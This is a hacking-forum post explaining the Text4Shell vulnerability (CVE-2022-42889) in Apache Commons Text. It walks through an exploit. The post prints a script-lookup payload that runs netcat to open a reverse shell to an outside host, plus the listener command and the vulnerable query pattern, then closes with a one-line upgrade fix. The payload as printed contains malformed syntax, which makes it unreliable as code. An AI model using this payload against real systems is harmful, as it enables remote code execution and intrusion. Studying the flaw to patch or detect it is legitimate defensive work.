What is StringSubstitutor Interpolator CVE-2022-42889 ?

logo.png

Görsel


What is StringSubstitutor Interpolator CVE-2022-42889 ?
This security vulnerability affects the StringSubstitutor interpolator class included in the Commons Text library. A default interpolator allows string searches that can affect "script," "dns," and "url" search keys by default. This deviates from what should be according to the documentation of the StringLookupFactory class and is due to a logic flaw in the default interpolator. These keys allow an attacker to execute any code through searches.


To exploit the security vulnerabilities, the following requirements must be met:

Run a version of Apache Commons Text between 1.5 and 1.9.
Use the StringSubstitutor interpolator.

It is important to note that the StringSubstitutor interpolator is not as widely used as string replacement in Log4j, indicating a situation that led to Log4Shell.
How to Exploit CVE-2022-42889

To replicate the attack, a vulnerable component was deployed to a Docker container and could be accessed from an EC2 instance controlled by the attacker. Using the Netcat (nc) command, we can establish a reverse shell connection with the vulnerable application.

The vulnerable web application exposes a search API that effectively utilizes the StringSubstitutor through queries.


Kod:
http://web.app/text4shell/attack?search=<query>

The following payload can be used to exploit the security vulnerability and open a reverse shell:

Kod:
${script:javascript:java.lang.Runtime.getRuntime.exec()'nc 192.168.49.1 9090 -e /bin/sh')}

This payload consists of the "${prefix:name}" expression triggering String Lookup. As mentioned above, the "script," "dns," and "url" keys are among the keys that can be used as prefixes to exploit the security vulnerability.

Before sending the prepared request, we need to listen on port 9090 using the netcat (nc) command to establish a reverse shell connection.

Kod:
nc -nlvp 9090

Now we can send the prepared request. The payload is encoded in URL format as shown below.


1.png


We can observe that the attacker has successfully established a connection with the vulnerable application.


1f221c3605831889c.png

Now, the attacker can gain root access to the vulnerable machine and execute arbitrary code.

Resolution for CVE-2022-42889:

If you are affected by CVE-2022-42889, you should update the application to version 1.10.

Source : https://www.turkhackteam.org/forumlar/web-server-security.743/post-thread
 

'Ranger

Anka Red Team Direktörü
13 Eki 2020
325
490
güzel bir çalışma olmuş eline sağlık tebrik ederim. Localinde uyguladıysan bir video ile desteklemeni öneririm
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.